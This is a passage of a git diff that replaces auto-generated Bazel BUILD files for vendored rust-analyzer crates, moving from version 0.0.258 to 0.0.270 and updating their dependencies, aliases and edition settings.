+        "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe": "mbe",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser",
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge": "syntax_bridge",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_hir_expand",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__cov-mark-2.0.0//:cov_mark",
+        "@vendor_ts__either-1.15.0//:either",
+        "@vendor_ts__hashbrown-0.14.5//:hashbrown",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__la-arena-0.3.1//:la_arena",
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__salsa-0.19.0//:salsa",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.258.bazel
deleted file mode 100644
index ea0475075893..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.258.bazel
+++ /dev/null
@@ -1,129 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_hir_ty",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db": "base_db",
-        "@vendor__ra_ap_hir_def-0.0.258//:ra_ap_hir_def": "hir_def",
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand": "hir_expand",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit": "limit",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    proc_macro_deps = [
-        "@vendor__chalk-derive-0.98.0//:chalk_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_hir_ty",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__arrayvec-0.7.6//:arrayvec",
-        "@vendor__bitflags-2.7.0//:bitflags",
-        "@vendor__chalk-ir-0.98.0//:chalk_ir",
-        "@vendor__chalk-recursive-0.98.0//:chalk_recursive",
-        "@vendor__chalk-solve-0.98.0//:chalk_solve",
-        "@vendor__cov-mark-2.0.0//:cov_mark",
-        "@vendor__either-1.13.0//:either",
-        "@vendor__ena-0.14.3//:ena",
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__la-arena-0.3.1//:la_arena",
-        "@vendor__nohash-hasher-0.2.0//:nohash_hasher",
-        "@vendor__oorandom-11.1.4//:oorandom",
-        "@vendor__ra-ap-rustc_abi-0.87.0//:ra_ap_rustc_abi",
-        "@vendor__ra-ap-rustc_index-0.87.0//:ra_ap_rustc_index",
-        "@vendor__ra-ap-rustc_pattern_analysis-0.87.0//:ra_ap_rustc_pattern_analysis",
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
-        "@vendor__ra_ap_hir_def-0.0.258//:ra_ap_hir_def",
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat",
-        "@vendor__scoped-tls-1.0.1//:scoped_tls",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-        "@vendor__typed-arena-2.0.2//:typed_arena",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.270.bazel
new file mode 100644
index 000000000000..6e1e0740c96a
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.270.bazel
@@ -0,0 +1,131 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_hir_ty",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db",
+        "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def": "hir_def",
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__chalk-derive-0.100.0//:chalk_derive",
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_hir_ty",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__arrayvec-0.7.6//:arrayvec",
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
+        "@vendor_ts__chalk-ir-0.100.0//:chalk_ir",
+        "@vendor_ts__chalk-recursive-0.100.0//:chalk_recursive",
+        "@vendor_ts__chalk-solve-0.100.0//:chalk_solve",
+        "@vendor_ts__cov-mark-2.0.0//:cov_mark",
+        "@vendor_ts__dashmap-5.5.3//:dashmap",
+        "@vendor_ts__either-1.15.0//:either",
+        "@vendor_ts__ena-0.14.3//:ena",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__la-arena-0.3.1//:la_arena",
+        "@vendor_ts__nohash-hasher-0.2.0//:nohash_hasher",
+        "@vendor_ts__oorandom-11.1.4//:oorandom",
+        "@vendor_ts__ra-ap-rustc_abi-0.100.0//:ra_ap_rustc_abi",
+        "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index",
+        "@vendor_ts__ra-ap-rustc_pattern_analysis-0.100.0//:ra_ap_rustc_pattern_analysis",
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
+        "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def",
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat",
+        "@vendor_ts__salsa-0.19.0//:salsa",
+        "@vendor_ts__scoped-tls-1.0.1//:scoped_tls",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+        "@vendor_ts__typed-arena-2.0.2//:typed_arena",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.258.bazel
deleted file mode 100644
index c81b3c20fac0..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.258.bazel
+++ /dev/null
@@ -1,118 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_ide_db",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db": "base_db",
-        "@vendor__ra_ap_hir-0.0.258//:ra_ap_hir": "hir",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit": "limit",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser": "parser",
-        "@vendor__ra_ap_profile-0.0.258//:ra_ap_profile": "profile",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_ide_db",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__arrayvec-0.7.6//:arrayvec",
-        "@vendor__bitflags-2.7.0//:bitflags",
-        "@vendor__cov-mark-2.0.0//:cov_mark",
-        "@vendor__crossbeam-channel-0.5.14//:crossbeam_channel",
-        "@vendor__either-1.13.0//:either",
-        "@vendor__fst-0.4.7//:fst",
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__line-index-0.1.2//:line_index",
-        "@vendor__memchr-2.7.4//:memchr",
-        "@vendor__nohash-hasher-0.2.0//:nohash_hasher",
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
-        "@vendor__ra_ap_hir-0.0.258//:ra_ap_hir",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser",
-        "@vendor__ra_ap_profile-0.0.258//:ra_ap_profile",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__rayon-1.10.0//:rayon",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.270.bazel
new file mode 100644
index 000000000000..0c4376994087
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.270.bazel
@@ -0,0 +1,124 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_ide_db",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db",
+        "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir": "hir",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser",
+        "@vendor_ts__ra_ap_profile-0.0.270//:ra_ap_profile": "profile",
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_ide_db",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__arrayvec-0.7.6//:arrayvec",
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
+        "@vendor_ts__cov-mark-2.0.0//:cov_mark",
+        "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel",
+        "@vendor_ts__dashmap-5.5.3//:dashmap",
+        "@vendor_ts__either-1.15.0//:either",
+        "@vendor_ts__fst-0.4.7//:fst",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
